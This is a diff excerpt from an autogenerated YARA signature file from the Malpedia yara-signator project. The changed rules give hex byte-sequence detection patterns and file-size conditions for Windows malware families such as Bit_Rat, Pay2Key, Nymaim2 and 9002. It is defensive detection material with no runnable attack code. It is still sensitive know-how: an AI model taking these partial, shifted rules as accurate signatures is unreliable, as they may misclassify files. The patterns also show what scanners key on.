+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winsloader_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "37921c250fe69562f60d707b47002bf6c0dd5723b18e1c13d6bd87f6fbea9446"
+		logic_hash = "2eada578907b5f770ab8c1dc3588915ff9d4c97daa18d7827115e92744f234da"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147567,32 +154545,38 @@ rule MALPEDIA_Win_Nymaim2_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d4de4 c645fc45 e8???????? 8d4de0 c645fc05 e8???????? }
-		$sequence_1 = { e8???????? 83ec20 56 33f6 3935???????? 7546 68da010000 }
-		$sequence_2 = { 50 8d45f0 50 e8???????? e8???????? 834dfcff 8d4df0 }
-		$sequence_3 = { e8???????? 8b7510 59 59 8b16 50 8bce }
-		$sequence_4 = { c645fc46 e8???????? 8d4de4 c645fc1b e8???????? 8d4ddc e8???????? }
-		$sequence_5 = { 8d45d4 8bce 50 c645fc01 e8???????? 8d45c0 8d4dd4 }
-		$sequence_6 = { 56 8bcf c645fc09 ff5008 51 8d4604 8bcc }
-		$sequence_7 = { 8d4df0 e9???????? 8d4dc0 e9???????? 8d4dec e9???????? 8b45e8 }
-		$sequence_8 = { 8d86640c0000 8bd9 03c9 c1eb1f 0bd9 c746040e000000 33da }
-		$sequence_9 = { 8bc8 c645fc03 e8???????? 51 8bcc 8965ec 50 }
+		$sequence_0 = { 83c40c 6800040000 8d8dfcf7ffff 51 }
+		$sequence_1 = { 8bf8 83c434 85ff 7510 }
+		$sequence_2 = { 89941d02fcffff 89841d06fcffff b8???????? 898c1d0afcffff 83c410 }
+		$sequence_3 = { 68???????? 51 e8???????? 68???????? 8d5c3e04 e8???????? }
+		$sequence_4 = { 898c1d0afcffff 83c410 66c7841d0efcffff4501 8d7001 8a08 }
+		$sequence_5 = { 8d8375050000 6a00 a3???????? ff15???????? }
+		$sequence_6 = { 0fb7c0 8bf0 6689841d10fcffff 56 83c316 8d941dfcfbffff 68???????? }
+		$sequence_7 = { f3a5 66a5 8b15???????? 8990fa0d0000 8b0d???????? }
+		$sequence_8 = { 8bd8 c745fcffffffff 85db 7516 56 e8???????? }
+		$sequence_9 = { c3 e8???????? 85c0 0f8487660000 c3 833d????????ff 7503 }
+		$sequence_10 = { 894dfc 80fb08 750f 32db }
+		$sequence_11 = { 33c0 40 e9???????? 8365c800 c745cc231a0110 a1???????? 8d4dc8 }
+		$sequence_12 = { 8d940dfcfbffff 52 e8???????? 83c40c 0fb685f7f3ffff }
+		$sequence_13 = { c1e100 8b9568f3ffff 8991a8ad0110 8b85f8f3ffff 05b4130000 668985f0f3ffff }
+		$sequence_14 = { 8841ff 83ea01 75f2 8b542424 8a1a 8d4701 50 }
+		$sequence_15 = { 8b049594440110 8985ccf6ffff 85c0 757c 50 8985d4f4ffff 89855cfcffff }
 
 	condition:
-		7 of them and filesize <753664
+		7 of them and filesize <270336
 }
-rule MALPEDIA_Win_Yahoyah_Auto : FILE
+rule MALPEDIA_Win_Ayegent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8071f7bc-1af0-58b6-8984-8add890e5a04"
+		id = "38c6d34b-791e-51ab-b755-5bf91f226c75"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yahoyah_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ayegent_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "5a0539481a7f5653801a561ffa29165f1f4bf92248a27b13820a8f2035c6eb1c"
+		logic_hash = "7245e65e015426e49adecdb4c2a9413e067a055fe3d65973ee2cacb00da6dd3e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147606,37 +154590,32 @@ rule MALPEDIA_Win_Yahoyah_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 6a02 53 6af0 }
-		$sequence_1 = { 50 6800080000 ff15???????? ff15???????? }
-		$sequence_2 = { 53 53 56 53 ff15???????? 68d0070000 }
-		$sequence_3 = { 50 e8???????? 83c418 6a02 53 }
-		$sequence_4 = { ff15???????? 6a2e 68???????? e8???????? }
-		$sequence_5 = { e8???????? 59 53 53 6a03 0fb7c8 }
-		$sequence_6 = { 52 c1e808 23c1 50 68???????? }
-		$sequence_7 = { ff15???????? 85c0 7501 c3 56 }
-		$sequence_8 = { 23d1 52 8bd0 c1ea18 52 0fb6d0 }
-		$sequence_9 = { eb19 ff15???????? 0fb7c0 50 68???????? }
-		$sequence_10 = { 6a1a 50 e8???????? bf???????? }
-		$sequence_11 = { ff15???????? 6a3a 56 e8???????? 8bf0 83c410 }
-		$sequence_12 = { 90 33c9 33c0 648b3530000000 8b760c }
-		$sequence_13 = { 90 68add13441 ffb53ffbffff 6a00 e8???????? 898521f1ffff e8???????? }
-		$sequence_14 = { 90 90 90 90 90 68add13441 ffb53ffbffff }
+		$sequence_0 = { 80a0609d400000 40 41 41 3bc6 }
+		$sequence_1 = { 8d442448 53 50 68???????? 53 }
+		$sequence_2 = { 68???????? ffd6 8bf8 33f6 3bfb 897c241c 0f8cf9000000 }
+		$sequence_3 = { ff15???????? 8b4c2428 8b542424 51 8b4c2424 52 }
+		$sequence_4 = { 8d542440 51 52 ff15???????? 85c0 0f8415030000 8b3d???????? }
+		$sequence_5 = { 52 50 ffd6 6a00 8d8c2414010000 }
+		$sequence_6 = { 83c408 aa 8d842450040000 6804010000 }
+		$sequence_7 = { 55 56 8bb42438050000 33db }
+		$sequence_8 = { 72f1 56 8bf1 c1e603 3b9668774000 0f851c010000 }
+		$sequence_9 = { 53 51 68???????? ffd6 85c0 }
 
 	condition:
-		7 of them and filesize <483328
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Pipcreat_Auto : FILE
+rule MALPEDIA_Win_Bit_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "38c9ab7f-3633-5cf9-b43a-1054dcf3eb2e"
+		id = "49210a4b-5430-57e8-a054-5667e0ae3196"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pipcreat_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bit_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "c78f35b80acd6d02ab8a3808b0a24320b25c92c8bd70c4aff6d75dba01d58da4"
+		logic_hash = "eb9ba4fd39163b3bb9047c43b4366afc9171afe908b68fc3b3d7fbbef1990e08"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147650,32 +154629,32 @@ rule MALPEDIA_Win_Pipcreat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ffd6 85c0 751b 8d851cfeffff c7851cfeffff14010000 }
-		$sequence_1 = { 6a00 8d442420 6a00 50 6a01 6a02 6a20 }
-		$sequence_2 = { 8b4c2404 68???????? 6a01 51 ff15???????? 85c0 }
-		$sequence_3 = { 56 ff15???????? 85c0 741d 6a30 6868420010 }
-		$sequence_4 = { e9???????? 83bd20feffff04 770a 6888410010 e9???????? 83bd20feffff05 8b35???????? }
-		$sequence_5 = { 56 57 be9c400010 8d7df8 8d45f8 a5 50 }
-		$sequence_6 = { eb12 6838470010 ff15???????? 6a20 6898420010 }
-		$sequence_7 = { 59 8d8538ffffff 6a28 50 }
-		$sequence_8 = { 7426 50 50 50 8b15???????? }
-		$sequence_9 = { be???????? 8d7c2414 33c0 f3a5 b975000000 }
+		$sequence_0 = { 85c9 753f 6a00 6a00 68c1000000 6809020000 6a28 }
+		$sequence_1 = { ff7608 ff74241c e8???????? 8be8 83c408 85ed 7425 }
+		$sequence_2 = { e8???????? 8be8 83c408 85ed 7930 6a00 6a00 }
+		$sequence_3 = { 8be5 5d c3 8b4510 8320b7 c7400400000000 33c0 }
+		$sequence_4 = { e8???????? 83c408 85c0 74cf 894704 8b450c 895f10 }
+		$sequence_5 = { f20f114af8 f20f1142f0 0fbf06 660f6ec8 0fbf46fe 83c608 f30fe6c9 }
+		$sequence_6 = { f644242401 895c2410 7413 83faff 0f84f5000000 42 89542414 }
+		$sequence_7 = { eb12 6a00 6a00 6a06 6a79 6a2c e8???????? }
+		$sequence_8 = { f00fc14108 48 7505 8b01 ff5004 8b4df4 64890d00000000 }
+		$sequence_9 = { c70100000000 83c104 83c204 3bce 75e8 8bc2 5e }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <19405824
 }
-rule MALPEDIA_Win_Murkytop_Auto : FILE
+rule MALPEDIA_Win_Pay2Key_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "98a068e3-7271-5cdb-a55e-1253046c8910"
+		id = "26097eea-fdd3-5ff6-a78a-aae3970171ae"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.murkytop_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pay2key_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "c9438f0871f1117619cdcbc50e1d21cb20b4d3848dd8784e1c0798685d05cf91"
+		logic_hash = "fed562ca29ad610b012032606168f69e452506f6e6212e1bb41332762ffb58be"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147689,32 +154668,32 @@ rule MALPEDIA_Win_Murkytop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7c17 b8555555d5 f7e9 c1fa02 8bc2 c1e81f 03c2 }
-		$sequence_1 = { 56 e8???????? 83c410 8b9d1befffff 8d9c1defeeffff 33f6 8bff }
-		$sequence_2 = { 83e01f c1f905 8b0c8de0f54100 c1e006 0fbe440104 83e040 }
-		$sequence_3 = { 8d4508 50 6a00 57 6a00 6800130000 ff15???????? }
-		$sequence_4 = { 56 ffd7 50 ff15???????? 85c0 0f850b010000 }
-		$sequence_5 = { 8b1d???????? 56 57 8bf8 8d45f8 }
-		$sequence_6 = { 8b3d???????? 8bc7 85ff 7e16 8d0cfd48f54100 8b11 }
-		$sequence_7 = { c1fa02 8955d4 3bdf 754e }
-		$sequence_8 = { 897de4 c745e014000000 897dec 894dd8 8945dc }
-		$sequence_9 = { c1e106 030c9de0f54100 eb02 8bca f641247f 7526 83f8ff }
+		$sequence_0 = { f7d1 33d2 3b4dfc 8bcb 0f43d0 3bd7 0f43fa }
+		$sequence_1 = { e8???????? 8d4e2c e8???????? 8d4e14 e8???????? c74604???????? 8b7e10 }
+		$sequence_2 = { ffd7 837d1c08 8d5508 8d7508 0f435508 0f437508 }
+		$sequence_3 = { c745fc00000000 833e00 7517 68de020000 68???????? 68???????? }
+		$sequence_4 = { 50 e8???????? 83ec18 c645fc05 8bcc 896584 c7411000000000 }
+		$sequence_5 = { 3bf7 0f8595f7ffff 83cfff c745fc07000000 8b750c 85f6 7429 }
+		$sequence_6 = { eb05 6880000000 8bce e8???????? 8b4e20 8bc3 8b09 }
+		$sequence_7 = { c7461000000000 7202 8b36 33c0 668906 8db758030000 8b4614 }
+		$sequence_8 = { 3bf7 758c 8b5dec ff7314 8b35???????? ffd6 }
+		$sequence_9 = { eb02 33c0 894758 8d5758 8a4304 88475c e8???????? }
 
 	condition:
-		7 of them and filesize <294912
+		7 of them and filesize <2252800
 }
-rule MALPEDIA_Win_Shareip_Auto : FILE
+rule MALPEDIA_Win_Flagpro_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1e2be420-f7e3-538b-a25d-892f460d058e"
+		id = "a8700192-f3cd-586a-895f-7ccfc513b903"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shareip_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flagpro_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "22b55834a3d563030497f1fde153bdd0a045ee32bc87427f1091c9e8cd08bbb9"
+		logic_hash = "21ab8654968f01505a5a06c6c338da8446a910a647e36c5322e4febf20ea2d89"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147728,34 +154707,34 @@ rule MALPEDIA_Win_Shareip_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8534feffff e9???????? 8d8da8feffff e9???????? 8d8558feffff e9???????? 8d8544ffffff }
-		$sequence_1 = { 894638 85c9 740f 8bd0 8d4900 8a01 8802 }
-		$sequence_2 = { 8a8064954500 08443b1d 0fb64601 47 3bf8 76ea 8b7d08 }
-		$sequence_3 = { 395c2444 7426 3bc3 7422 50 e8???????? 8b4c2444 }
-		$sequence_4 = { 834dfcff 894614 83c40c 8d45e4 50 e8???????? 8b07 }
-		$sequence_5 = { 8b44241c 50 8d8c24a0010000 51 53 53 53 }
-		$sequence_6 = { 55 8d4c245c e8???????? 8bd8 895c2414 83fbff 7541 }
-		$sequence_7 = { 837de800 7e50 8b03 8b4804 0fb7541930 8d0419 8b4828 }
-		$sequence_8 = { 8b9a80f34400 33f3 8b4538 33db 8b553c 33c6 33d6 }
-		$sequence_9 = { 33c0 eb05 1bc0 83d8ff 3bc3 7506 895c2418 }
+		$sequence_0 = { 8d8c2480000000 e8???????? 56 c784249c45010001000000 e8???????? }
+		$sequence_1 = { 57 6a00 6a00 6aff 68???????? }
+		$sequence_2 = { ffd0 c684249400000002 8b442430 3bc3 7408 8b08 8b5108 }
+		$sequence_3 = { 56 57 85c0 740b b900030000 8bf3 }
+		$sequence_4 = { 8b442428 3bc3 749d eb93 8b442428 8d54243c 895c243c }
+		$sequence_5 = { ba10000000 8d6e04 395618 7221 8b4500 eb1e }
+		$sequence_6 = { 39ac24c8000000 7210 8b9424b4000000 52 e8???????? 83c404 899c24c8000000 }
+		$sequence_7 = { 33ed 55 68???????? 8d842488030000 50 ff15???????? 8db4243c010000 }
+		$sequence_8 = { 8bf0 83c408 3bf3 7571 57 }
+		$sequence_9 = { 68???????? 8d8424880c0000 6800040000 50 }
 
 	condition:
-		7 of them and filesize <811008
+		7 of them and filesize <1411072
 }
-rule MALPEDIA_Win_Tidepool_Auto : FILE
+rule MALPEDIA_Win_Ranbyus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "736615ac-754a-59af-859e-d31c5da8062a"
+		id = "9b877552-6bf5-5d12-bef1-733cc6b8feac"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tidepool_auto.yar#L1-L265"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ranbyus_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "6d671b94ab0cdccf8b9683ef25d1220e65648f34328ff5e4475983ab8ad7951c"
+		logic_hash = "c376990edfad6c071124a105ec8d7e8afaf3007f10ae4746a7ce39d3890ccde0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -147767,51 +154746,32 @@ rule MALPEDIA_Win_Tidepool_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 50 8b08 ff91a4000000 }
-		$sequence_1 = { 8b4df4 64890d00000000 59 5f 5e 5b 8b8d00030000 }
-		$sequence_2 = { 8b8d00030000 33cd e8???????? 81c504030000 }
-		$sequence_3 = { 83c404 8bc6 5e c20400 80790800 }
-		$sequence_4 = { 53 6a02 8bf1 e8???????? }
-		$sequence_5 = { 6800000040 8d4500 50 ff15???????? }
-		$sequence_6 = { 2bc8 83e906 51 83c006 50 }
-		$sequence_7 = { e8???????? 83c40c 803d????????37 7518 68???????? }
-		$sequence_8 = { 8b4654 8d9698000000 52 8d5678 8b08 }
-		$sequence_9 = { 52 50 8b08 ff91f8000000 85c0 }
-		$sequence_10 = { 8b4654 50 8b08 ff5138 }
-		$sequence_11 = { 8d5658 52 50 ff91d0000000 33ff }
-		$sequence_12 = { c3 56 8bf1 e8???????? 8b4654 }
-		$sequence_13 = { 8d45ec 50 681f000200 53 }
-		$sequence_14 = { 6810270000 ff15???????? 8b45ec 8b08 }
-		$sequence_15 = { 681f000200 56 68???????? 6801000080 }
-		$sequence_16 = { 75f9 b8???????? b900000400 c60000 40 49 }
-		$sequence_17 = { e8???????? 68???????? 68???????? 68???????? 8d4500 }
-		$sequence_18 = { 57 50 6802020000 ff15???????? 68???????? ff15???????? }
-		$sequence_19 = { 8bc6 5e 5b c20400 6a14 68???????? }
-		$sequence_20 = { 6805400080 e8???????? 8b542424 52 53 }
-		$sequence_21 = { 33c9 8aea 83c003 83c504 }
-		$sequence_22 = { ff75ec ff15???????? 8b35???????? 6a04 }
-		$sequence_23 = { 83651400 8b07 83c40c 837d0c00 0f8ed1000000 8b4d08 41 }
-		$sequence_24 = { 8bec 8b4508 56 833c850811011000 }
-		$sequence_25 = { 50 ff7508 ff15???????? 395dfc 53 }
-		$sequence_26 = { 50 8d4604 50 e8???????? 8d45e0 6a04 }
-		$sequence_27 = { 50 89450c ff15???????? 53 ff75fc ff75f8 }
-		$sequence_28 = { 8365ec00 8945f4 8d3dd8e30010 8b45f4 d1e0 03f8 }
+		$sequence_0 = { 7504 83c8ff c3 c7402401000000 }
+		$sequence_1 = { 894608 8b44241c 56 68???????? 89460c }
+		$sequence_2 = { 83c414 85f6 7414 6a01 6a01 57 }
+		$sequence_3 = { 760a 814e2500500000 c6060f 0fb606 5e 5b }
+		$sequence_4 = { a1???????? eb09 83780400 7507 8b4034 85c0 }
+		$sequence_5 = { e8???????? 59 8b4e05 89410b 8b4605 39780b 7407 }
+		$sequence_6 = { 8b4e05 89410b 8b4605 39780b }
+		$sequence_7 = { 83c621 8a06 3c46 7240 3c47 }
+		$sequence_8 = { 83780400 7507 8b4034 85c0 75f3 c3 }
+		$sequence_9 = { c3 837c240800 7467 8b44240c }
 
 	condition:
-		7 of them and filesize <1998848
+		7 of them and filesize <638976
 }
-rule MALPEDIA_Win_Ratankba_Auto : FILE
+rule MALPEDIA_Win_Doubleback_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fd423e85-7c69-52a0-9324-ef5e9762e7e8"
+		id = "cd786c05-6d47-522c-af3e-e773839ffcc7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ratankba_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doubleback_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "49523307c1fdb5d69527def26960d83b0ac500a3f11bec0bed9b0e81e333a8ec"
+		logic_hash = "b40ea64a869bfecf3f36d9c35b2ecd274734632c8a0bce79f6229d1b07f00bb7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147825,32 +154785,32 @@ rule MALPEDIA_Win_Ratankba_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5d c20800 8b4d0c 803900 7416 807d0b00 7410 }
-		$sequence_1 = { 53 b8???????? 668911 e8???????? 8d8ec0000000 c645fc05 33c0 }
-		$sequence_2 = { 53 ff15???????? 85c0 740e 8b45fc 85c0 7407 }
-		$sequence_3 = { 55 8bec ff4724 8b4724 53 56 394718 }
-		$sequence_4 = { e8???????? 8b4310 33ff 3bc7 7649 397e10 7644 }
-		$sequence_5 = { 720a b857000780 e8???????? 8b4b04 5f 8944d104 8bc2 }
-		$sequence_6 = { 83c414 85c0 744f 8bc8 e8???????? 8bf0 a1???????? }
-		$sequence_7 = { 0f849b010000 83c302 46 ebaa 8b5710 8bc6 8955e4 }
-		$sequence_8 = { 8975f4 85f6 790b 5e 83c8ff 5b 8be5 }
-		$sequence_9 = { 56 66898578efffff 51 83c8ff 8dbd78efffff c7858cefffff07000000 }
+		$sequence_0 = { b9e3050000 eb3b b90b070000 eb34 2d63450000 7428 }
+		$sequence_1 = { b9ad060000 eb57 b9a7060000 eb50 b947060000 eb49 }
+		$sequence_2 = { eb3b b90b070000 eb34 2d63450000 }
+		$sequence_3 = { 3d39380000 741c 3dd73a0000 740e 3dab3f0000 }
+		$sequence_4 = { b9e7050000 eb42 b9e3050000 eb3b b90b070000 }
+		$sequence_5 = { b90b070000 eb34 2d63450000 7428 2d57020000 }
+		$sequence_6 = { 774f 7446 3d00280000 7438 3d5a290000 742a 3d39380000 }
+		$sequence_7 = { 7438 3d5a290000 742a 3d39380000 }
+		$sequence_8 = { e8???????? 85c0 7508 c60703 e9???????? }
+		$sequence_9 = { 7446 3d00280000 7438 3d5a290000 742a 3d39380000 741c }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Gacrux_Auto : FILE
+rule MALPEDIA_Win_Hunter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0c66c13b-77d9-5c78-ab68-75b7e55560db"
+		id = "a2ce8975-358a-5feb-855e-0c18799189f7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gacrux_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hunter_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "bb1a910d98caf8e19645b8aead4c6d896507b388f794dfe868a61d77f59f135d"
+		logic_hash = "4840112788d43f80efa44bf4553c38cceb240b146b43c82ea7ba535d388455f9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147864,34 +154824,34 @@ rule MALPEDIA_Win_Gacrux_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f848e000000 41 83482120 49 8b01 49 83c108 }
-		$sequence_1 = { 894808 48 8b4c2430 48 894810 8b4c2444 }
-		$sequence_2 = { 48 03ca 849c013c010000 740b 41 81cb00300000 45 }
-		$sequence_3 = { 6bc838 48 8b05???????? 8b540120 c1ea02 1bd2 3bd6 }
-		$sequence_4 = { 7543 48 85db 7409 }
-		$sequence_5 = { 8b3a 48 8bcd 48 c1e91d 48 8bc5 }
-		$sequence_6 = { 41 ffc1 49 83c204 41 81f900010000 }
-		$sequence_7 = { 0fb7ee 66c1ed08 45 8a780c 45 8bda 45 }
-		$sequence_8 = { 56 41 57 48 83ec50 49 63e8 }
-		$sequence_9 = { 4d 033e 45 0fb6ed 49 8bcf }
+		$sequence_0 = { 8d4323 03c8 8d83b5000000 038d3cffffff 03c8 8d83ae000000 03ce }
+		$sequence_1 = { 8b5f08 8b440104 8945f0 8b13 8bc8 e8???????? 85c0 }
+		$sequence_2 = { 8d4b38 0faf4dbc 898d34fdffff 8b8d1cffffff 0fafce 8d7375 898d8cfeffff }
+		$sequence_3 = { 8bf9 6b1f14 8b743b0c eb38 0fbf0475080f4700 83f8c2 7433 }
+		$sequence_4 = { 8b4c2440 6aff e8???????? 59 8b4c2448 33c0 89442424 }
+		$sequence_5 = { 53 6a68 5a e8???????? 83c40c b208 8bce }
+		$sequence_6 = { 8b4630 8b14b8 85d2 7405 e8???????? b980000000 e8???????? }
+		$sequence_7 = { c3 51 56 57 8bf1 33c0 8b7e1c }
+		$sequence_8 = { 8b4614 89442418 85c0 750c 385c2431 7506 885c2430 }
+		$sequence_9 = { 8d8d04f8ffff e9???????? 8d8d1cf8ffff e9???????? 8d8de0feffff e9???????? 8d8d34f8ffff }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <1056768
 }
-rule MALPEDIA_Win_Moriagent_Auto : FILE
+rule MALPEDIA_Win_9002_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0b12c276-52ba-56f2-9890-c8bf86de4e3d"
+		id = "49e80af5-ef9d-5bf8-b3b9-b7af1f356471"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moriagent_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.9002_auto.yar#L1-L290"
 		license_url = "N/A"
-		logic_hash = "0ba5f6f81e0a998dcf4930d5e902ddcfa057da2849fe14345a41be1a23cd042b"
+		logic_hash = "9d293b5dc33eac56c2e3f0cda3054624c24835d742e33a63df2c2aa725e52d40"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -147903,37 +154863,53 @@ rule MALPEDIA_Win_Moriagent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b802000000 eb05 b801000000 33ff }
-		$sequence_1 = { cc 488bc8 e8???????? 48897d00 48c745080f000000 c645f000 488b4528 }
-		$sequence_2 = { cc 488bc8 e8???????? 48897da0 48c745a80f000000 c6459000 }
-		$sequence_3 = { cc 488bc8 e8???????? 48897d18 48c745200f000000 c6450800 }
-		$sequence_4 = { 83bd98efffff10 8bb5c4efffff 8b8d94efffff 660f7ec8 51 0f43d0 }
-		$sequence_5 = { cc 488bc8 e8???????? 48897dd0 48c745d80f000000 c645c000 }
-		$sequence_6 = { cc 488bc8 e8???????? 48897dc0 48c745c80f000000 c645b000 }
-		$sequence_7 = { cc 488bc8 e8???????? 48897d20 48c745280f000000 c6451000 }
-		$sequence_8 = { 8d8de4feffff e9???????? 8d8d30ffffff e9???????? 8d8dccfeffff }
-		$sequence_9 = { 0f87df160000 52 51 e8???????? 8b85e8eeffff }
-		$sequence_10 = { eb06 8bb5e4eeffff 8b857cefffff 85c0 0f84bd080000 80bdc7eeffff00 }
-		$sequence_11 = { c785e0feffff0f000000 c685ccfeffff00 6a04 68???????? c7411000000000 c741140f000000 c60100 }
-		$sequence_12 = { 0f1006 8b85e8eeffff 0f1185b4efffff f30f7e4610 660fd685c4efffff c7461000000000 c746140f000000 }
-		$sequence_13 = { c746140f000000 c60600 8b5d1c 8d4d08 8b5508 8d7d08 8b4518 }
-		$sequence_14 = { cc 488bc8 e8???????? 48897de0 48c745e80f000000 c645d000 }
+		$sequence_0 = { 7514 8b4714 8b08 51 e8???????? 8b5714 }
+		$sequence_1 = { 51 8944241c c744241801000000 ff15???????? 3d02010000 }
+		$sequence_2 = { 7504 33ed eb04 2bc8 }
+		$sequence_3 = { 8bd1 2bd0 3bda 7223 }
+		$sequence_4 = { 6a02 ff15???????? 68???????? ff15???????? 6a00 }
+		$sequence_5 = { 8b5c2408 6bdb08 03c3 8b00 }
+		$sequence_6 = { 33c9 3bc8 1bd2 f7da 8915???????? }
+		$sequence_7 = { 03c3 8b00 5b ffd0 8945fc }
+		$sequence_8 = { 51 e8???????? 6a06 6a01 6a02 e8???????? }
+		$sequence_9 = { 8be9 53 50 e8???????? }
+		$sequence_10 = { 7504 33d2 eb05 8b5608 2bd0 3bfa }
